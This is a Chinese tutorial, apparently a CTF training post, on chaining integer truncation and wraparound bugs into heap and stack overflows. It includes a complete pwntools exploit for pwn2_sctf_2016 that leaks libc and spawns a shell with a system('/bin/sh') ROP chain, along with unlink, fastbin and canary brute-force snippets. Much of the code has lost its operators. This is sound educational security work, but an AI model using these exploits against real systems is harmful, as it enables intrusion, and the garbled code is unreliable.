写在前面在Week8的前三篇中我们系统学习了整数溢出/下溢、符号转换与长度计算错误的原理并探讨了它们如何导致堆溢出。今天我们将迎来本周的收官之战——从理论走向实践通过完整的实战案例手把手教你如何将一个整数漏洞转化为堆溢出最终实现任意代码执行csdn.net1。 目录环境准备与工具链配置漏洞分析与定位从源码到二进制堆布局与控制精心设计的内存布局利用技术详解Unlink、Fastbin Attack与House of Spirit实战案例完整解析pwn2_sctf_2016高级技巧与防护绕过总结与进阶展望1. 环境准备与工具链配置在开始实战之前我们需要搭建一个高效的漏洞利用分析环境。1.1 基础环境搭建# 更新系统并安装基础工具 sudo apt update sudo apt install -y gdb python3-pip git gcc-multilib # 安装pwntools漏洞利用框架 pip3 install pwntools # 安装GDB插件pwndbg git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh1.2 编译选项与保护机制为了练习方便我们通常关闭一些保护机制编译漏洞程序# 32位程序关闭栈保护、NX、PIE允许栈执行 gcc -m32 -fno-stack-protector -z execstack -no-pie -z norelro -o vuln vuln.c # 64位程序关闭栈保护、NX、PIE gcc -fno-stack-protector -no-pie -z norelro -o vuln64 vuln64.c1.3 工具链一览工具用途推荐版本GDB pwndbg动态调试、内存分析GDB 9.2, pwndbg latestIDA Pro/Ghidra静态分析、反汇编IDA 7.7, Ghidra 10.1pwntools漏洞利用开发、EXP构造Python 3.8checksec安全机制检查最新版ROPgadgetROP链构造最新版one_gadget查找libc中的execve(“/bin/sh”)最新版details summary pwndbg常用命令速查/summary# 内存分析 vmmap # 查看内存映射 heap # 堆分析主命令 vis # 堆可视化 bins # 查看所有bin fastbins # 查看fastbin unsortedbin # 查看unsortedbin smallbins # 查看smallbin largebins # 查看largebin # 断点与调试 b *0x0804845c # 在地址处设置断点 b main # 在函数处设置断点 c # 继续执行 ni # 单步执行不进入函数 si # 单步执行进入函数 fin # 执行到函数返回 # 数据查看 stack 20 # 查看栈内容 regs # 查看寄存器 x/20wx 0x804a000 # 按格式查看内存 telescope 0x804a000 # 递归解引用指针/details2. 漏洞分析与定位从源码到二进制2.1 漏洞程序源码分析让我们从一个典型的整数漏洞程序开始github.com1// vuln.c #include stdio.h #include string.h #include stdlib.h void validate_passwd(char *passwd) { char passwd_buf[11]; unsigned char passwd_len strlen(passwd); // [1] 整数截断点 if (passwd_len 4 passwd_len 8) { // [2] 长度检查 printf(Valid Password\n); fflush(stdout); strcpy(passwd_buf, passwd); // [3] 栈溢出点 } else { printf(Invalid Password\n); fflush(stdout); } } int main(int argc, char *argv[]) { if (argc ! 2) { printf(Usage: %s password\n, argv[0]); exit(-1); } validate_passwd(argv[1]); return 0; }漏洞分析[1]处strlen()返回size_t通常为unsigned int但被赋值给unsigned char8位导致截断oschina.net1。当输入长度为2564260时strlen返回260但passwd_len被截断为4260 % 256 4满足passwd_len 4 passwd_len 8的条件cnblogs.com。[3]处strcpy将超长字符串复制到passwd_buf导致栈溢出。2.2 二进制分析使用IDA Pro或Ghidra进行反汇编分析; validate_passwd函数反汇编片段 push ebp mov ebp,esp sub esp,0x18 mov eax,DWORD PTR [argv] add eax,0x4 mov eax,DWORD PTR [eax] mov DWORD PTR [esp],eax call 0x8048300 strlenplt mov BYTE PTR [ebp-0x9],al ; 注意al是8位寄存器截断发生在这里 cmp BYTE PTR [ebp-0x9],0x3 jbe 0x8048445 invalid cmp BYTE PTR [ebp-0x9],0x8 ja 0x8048445 invalid ; 通过检查执行strcpy关键点mov BYTE PTR [ebp-0x9],al将strlen的结果32位截断为8位存储到passwd_len。后续的比较指令cmp BYTE PTR [ebp-0x9],0x3只比较了低8位因此可以绕过长度检查。2.3 使用GDB动态调试# 启动GDB调试 gdb ./vuln # 设置断点 pwndbg b *0x804843e # 在strlen调用后设置断点 pwndbg b *0x8048454 # 在strcpy调用前设置断点 # 运行程序 pwndbg run AAAA # 正常输入 pwndbg run $(python -c print(A*260)) # 溢出输入 # 查看寄存器和内存 pwndbg regs pwndbg x/20wx $esp3. 堆布局与控制精心设计的内存布局3.1 堆内存管理基础在glibc的ptmalloc2中堆内存被组织为多个chunkcsdn.netstruct malloc_chunk { size_t prev_size; // 前一个chunk的大小如果空闲 size_t size; // 当前chunk的大小包括头部低3位为标志位 union { struct { malloc_chunk* fd; // 前向指针仅在空闲时使用 malloc_chunk* bk; // 后向指针仅在空闲时使用 }; char user_data[0]; // 用户数据区已分配时 }; };关键标志位PREV_INUSE(0x1): 前一个chunk是否在使用中IS_MMAPPED(0x2): 是否通过mmap分配NON_MAIN_ARENA(0x4): 是否属于非主arena3.2 堆溢出策略通过整数漏洞我们可以控制堆分配的大小从而实现以下堆布局整数漏洞触发size len1 len2错误的malloc参数malloc(3)分配过小堆块实际仅3字节越界写入memcpy(ptr, src, 0x100000003)覆盖相邻chunk元数据fd/bk/size字段利用触发unlink/hook覆盖控制流劫持3.3 堆布局控制技术为了成功利用堆溢出我们需要精确控制堆布局堆风水通过精心安排分配和释放顺序使目标堆块位于可控位置freebuf.com。堆整形通过分配特定大小的堆块影响堆管理器的行为使堆布局符合预期。元数据伪造在溢出后伪造相邻chunk的size、fd、bk指针为后续利用做准备。details summary 堆布局实战示例/summaryfrom pwn import * # 1. 创建堆布局 def create_heap_layout(): # 分配多个堆块控制布局 ptr1 malloc(0x18) # chunk1: 0x20大小0x18数据 0x8头部 ptr2 malloc(0x28) # chunk2: 0x30大小目标堆块 ptr3 malloc(0x18) # chunk3: 0x20大小防止合并 # 释放ptr1使其进入fastbin free(ptr1) # 此时堆布局 # [chunk1(空闲)] - [chunk2(目标)] - [chunk3(已分配)] # fastbin: chunk1 - NULL return ptr2 # 返回目标堆块指针 # 2. 触发整数溢出分配过小堆块 def trigger_integer_overflow(): # 假设漏洞函数allocate_buffer(size) # 当size 0xFFFFFFFF时size 1 0malloc(0)返回一个小堆块 ptr allocate_buffer(0xFFFFFFFF) return ptr # 3. 堆溢出覆盖相邻chunk元数据 def heap_overflow(ptr, payload): # 假设漏洞函数copy_data(ptr, data, len) # len 0x100000000但实际复制大量数据 copy_data(ptr, bA * 0x20 p64(0x31) p64(0) p64(0x41414141), 0x100000000)/details4. 利用技术详解Unlink、Fastbin Attack与House of Spirit4.1 Unlink攻击利用条件存在溢出可修改下一个chunk的size和prev_size可触发unlink操作如free攻击原理// 伪造fake chunk fake_chunk { .prev_size 0, .size 0x91, // 满足PREV_INUSE清除触发unlink .fd target_addr - 0x18, // 伪造fd指针 .bk target_addr - 0x10 // 伪造bk指针 }; // 触发unlink时执行 // P-fd-bk P-bk *(target_addr - 0x18 0x18) target_addr - 0x10 // P-bk-fd P-fd *(target_addr - 0x10 0x10) target_addr - 0x18效果实现任意地址写入可覆盖GOT表、__malloc_hook等关键位置csdn.net。4.2 Fastbin Attack利用条件可控制fastbin链表的fd指针可触发malloc从fastbin中取出chunk攻击步骤# 1. 伪造fastbin条目 fake_chunk 0x08049000 # 伪造的chunk地址 fake_chunk_size 0x29 # 伪造的size字段满足fastbin要求 # 2. 溢出覆盖fastbin的fd指针 payload p64(fake_chunk) # 将fd指针指向伪造地址 # 3. 连续malloc两次 malloc(0x28); # 第一次返回正常chunk malloc(0x28); # 第二次返回伪造地址处的chunk效果在任意地址分配chunk实现任意地址写入freebuf.com。4.3 House of Spirit利用原理通过在目标地址伪造一个合法的chunk结构然后将其释放使其被放入bin中后续malloc时可再次获取该chunkcsdn.net。// 伪造chunk struct { size_t prev_size; size_t size; char data[0]; } fake_chunk; fake_chunk.size 0x41; // 满足fastbin要求 // ...在目标地址布置fake_chunk free(fake_chunk); // 释放伪造chunk malloc(0x38); // 再次获取该chunk实现任意地址写入4.4 利用技术对比技术利用条件效果难度适用场景Unlink可控制chunk元数据任意地址写★★★★☆glibc 2.29Fastbin Attack可控制fastbin fd指针任意地址分配★★★☆☆glibc 2.32House of Spirit可伪造chunk结构任意地址释放★★★☆☆通用Tcache Double Free可重复释放tcache chunk任意地址写★★☆☆☆glibc 2.265. 实战案例完整解析pwn2_sctf_20165.1 漏洞分析程序源码csdn.net1void vuln() { char buf[40]; unsigned int n; printf(How many bytes do you want me to read? ); scanf(%u, n); get_n(buf, n); // 整数溢出点 puts(buf); } int get_n(char* buf, unsigned int len) { int count 0; while (count len) { buf[count] getchar(); if (buf[count] \n) break; count; } return count; }漏洞点get_n函数的len参数是unsigned int但count是int类型。当len很大时如0xFFFFFFFFcount len比较会转换为无符号比较导致循环次数远超缓冲区大小。5.2 利用思路flowchart LR A[输入n0xFFFFFFFFbr触发整数溢出] -- B[get_n读取大量数据br导致栈溢出] B -- C[覆盖返回地址br控制EIP] C -- D[泄露libc地址br通过putsplt] D -- E[计算system和/bin/sh地址] E -- F[构造ROP链br执行system(/bin/sh)]5.3 完整EXPfrom pwn import * # 1. 初始化环境 context.arch i386 context.os linux context.log_level debug # 2. 加载目标程序 p process(./pwn2_sctf_2016) elf ELF(./pwn2_sctf_2016) libc ELF(/lib/i386-linux-gnu/libc.so.6) # 3. 漏洞利用 def exploit(): # 3.1 触发整数溢出读取大量数据 p.sendlineafter(bread?, b4294967295) # 0xFFFFFFFF # 3.2 构造栈溢出payload # buf距离返回地址的偏移40字节buf 4字节EBP 44字节 payload bA * 44 # 3.3 覆盖返回地址为putsplt泄露libc地址 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] # ROP链puts(putsgot) - main payload p32(puts_plt) # 返回地址puts函数 payload p32(main_addr) # puts返回后执行的地址main函数 payload p32(puts_got) # puts函数的参数putsgot p.sendline(payload) # 3.4 接收泄露的libc地址 p.recvuntil(b\n) leaked_puts u32(p.recv(4)) log.info(fLeaked puts address: {hex(leaked_puts)}) # 3.5 计算libc基址和关键函数地址 libc_base leaked_puts - libc.symbols[puts] system_addr libc_base libc.symbols[system] bin_sh_addr libc_base libc.search(b/bin/sh).__next__() log.info(flibc base: {hex(libc_base)}) log.info(fsystem address: {hex(system_addr)}) log.info(f/bin/sh address: {hex(bin_sh_addr)}) # 3.6 第二次利用执行system(/bin/sh) p.sendlineafter(bread?, b4294967295) payload2 bA * 44 payload2 p32(system_addr) # 返回地址system函数 payload2 p32(0xdeadbeef) # system返回后执行的地址无效但不影响 payload2 p32(bin_sh_addr) # system函数的参数/bin/sh p.sendline(payload2) # 3.7 获取交互式shell p.interactive() if __name__ __main__: exploit()5.4 调试技巧details summary⚙️ GDB调试过程/summary# 1. 设置断点 pwndbg b *0x804844e # 在get_n函数调用处设置断点 pwndbg b *0x8048460 # 在ret指令处设置断点 # 2. 运行程序 pwndbg run # 3. 输入触发整数溢出 How many bytes do you want me to read? 4294967295 # 4. 查看栈布局 pwndbg stack 30 pwndbg x/30wx $esp # 5. 单步执行观察数据复制过程 pwndbg ni # 单步执行 pwndbg ni # 继续单步 # ...观察buf缓冲区如何被溢出 # 6. 查看返回地址被覆盖 pwndbg x/wx $ebp4 # 查看返回地址/details6. 高级技巧与防护绕过6.1 绕过ASLR地址空间布局随机化信息泄露技术格式化字符串泄露使用%p、%x泄露栈上的libc地址tencent.com。GOT表泄露通过puts、printf等函数泄露GOT表项。堆地址泄露通过UAF或堆溢出泄露堆指针。# 格式化字符串泄露示例 p.sendline(b%p.%p.%p.%p) leaked_data p.recv() # 解析泄露的地址6.2 绕过NX栈不可执行ROPReturn-Oriented Programming# 查找ROP gadget rop ROP(elf) rop.system(elf.symbols[system], elf.symbols[exit]) rop.call(/bin/sh) # 自动生成ROP链 rop_chain rop.chain()6.3 绕过Canary栈保护Canary泄露技术逐字节爆破通过逐字节比较泄露Canary。格式化字符串泄露使用%n直接读取Canary。SSP泄露利用__stack_chk_fail函数泄露Canary。# 逐字节爆破Canary canary b\x00 for i in range(3): for byte in range(256): p.sendline(bA * 24 canary bytes([byte])) response p.recv() if bSuccess in response: canary bytes([byte]) break6.4 绕过Full RELROGOT表保护GOT表劫持替代方案__malloc_hook覆盖覆盖__malloc_hook为one_gadget。__free_hook覆盖覆盖__free_hook为system。栈迁移将栈迁移到可控区域如BSS段。# 覆盖__malloc_hook one_gadget 0x0804854b # 示例地址 payload p64(one_gadget) write_to_addr(libc.symbols[__malloc_hook], payload)7. 总结与进阶展望7.1 核心知识点总结整数漏洞是堆溢出的上游导火索无符号整数回绕、有符号负数转换、宽度截断都可导致内存分配尺寸错误csdn.net1。堆溢出利用需要深入理解内存管理器ptmalloc2的chunk结构、bin机制、first-fit算法都是利用基础csdn.net1。典型利用技术Unlink攻击、Fastbin Attack、House of Spirit、Tcache Double Free各有适用场景csdn.net1。现代防护机制可被绕过ASLR需信息泄露Canary需部分覆盖RELRO需GOT表可写。7.2 易错点与注意事项不要假设整数溢出后一定回绕有符号溢出是未定义行为不同编译器处理可能不同csdn.net。注意隐式类型转换有符号数与无符号数运算时有符号数会被转换为无符号数oschina.net1。检查所有用户可控的数值输入包括长度、索引、计数器、偏移量等csdn.net1。堆布局不可预测ASLR、堆随机化使堆地址难以预测需信息泄露。7.3 进阶学习方向details summary 推荐学习路径/summary内核堆利用Linux内核slab/slub分配器内核ROPJIT编译器漏洞V8、SpiderMonkey中的整数溢出嵌入式系统RTOS堆实现差异缺少防护机制新型防护机制MPX、CET、Shadow Stack自动化漏洞挖掘AFL、libFuzzer结合整数漏洞检测/details7.4 下周预告 (Week9)下周我们将进入格式化字符串漏洞的进阶世界探讨格式化字符串与堆漏洞的结合利用现代编译器对格式化字符串的防护及绕过真实CVE案例中的格式化字符串漏洞分析自动化检测与修复技术 知识图谱总结整数漏洞到堆溢出实战环境准备工具链配置:GDB pwndbg:IDA Pro/Ghidra:pwntools编译选项:关闭保护机制:调试符号漏洞分析源码分析:整数截断:符号转换:长度检查绕过二进制分析:反汇编识别:GDB动态调试:内存布局分析堆布局控制堆风水:分配顺序控制:堆块位置预测堆整形:大小控制:bin分布影响元数据伪造:size字段:fd/bk指针利用技术Unlink攻击:伪造chunk:任意地址写:GOT表覆盖Fastbin Attack:控制fd指针:任意地址分配:House of SpiritTcache Double Free:链表破坏:任意地址写:glibc 2.26实战案例pwn2_sctf_2016:整数溢出点:栈溢出触发:ROP链构造EXP编写:信息泄露:地址计算:shell获取防护绕过ASLR绕过:信息泄露:格式化字符串:GOT表泄露NX绕过:ROP链:ret2libcCanary绕过:逐字节爆破:格式化字符串泄露最终结论整数漏洞到堆溢出的转化是二进制安全中最重要的漏洞链之一。理解这一转化过程不仅能帮助你发现和利用漏洞更能让你写出更安全的代码。在攻防博弈中谁先理解底层谁就掌握了安全的主动权csdn.net1。参考文献int_overflow [XCTF-PWN]CTF writeup系列9关于Heap Overflow(堆溢出)如何利用Pwndbg高效调试整数溢出漏洞CTF PWN实战手把手教你利用整数溢出漏洞攻破Overflow靶场整数溢出漏洞利用数字的魔术把戏如何让你获得Root权限CTF PWN实战:利用整数溢出漏洞攻破pwn2_sctf_2016【C Prime Plus】学习笔记,Chapter 3, 整型溢出PWN INTEGER OVERFLOW 整数溢出CTF PWN实战手把手教你利用整数溢出漏洞拿下Overflow靶机CTF PWN 总结利用CTF-WIKI PWNheapcreator进行堆溢出与任意写计算机系统解密:深入剖析整型溢出CTF-PWN: 学习堆利用你所需要知道的基础知识[BUUCFT]PWN——整数溢出漏洞实战pwn2_sctf_2016的libc泄露与利用CTF PWN 实战从漏洞分析到 Exploit 编写的全攻略PWN进阶路线图 | 从栈溢出到堆利用的实战指南新手科普 CTF PWN堆溢出总结linux-exploit-development-tutorial/integer-overflow.md[二进制漏洞]PWN学习之整数溢出Win篇2025 HKCERT CTF WritupExploit for Integer Overflow or Wraparound in Linux Linux_Kernel刷爆 CTF 赛场50 个硬核解题思路CTF Pwn模块系列分享(三):溢出基础与ret2text漏洞利用【integeroverflow】什么意思pwn刷题笔记(整数溢出)强网杯S8初赛pwn writeup【软件安全】Heap Overflow — Exploit Function PointerCTF-PWN实战技能特训班教程资源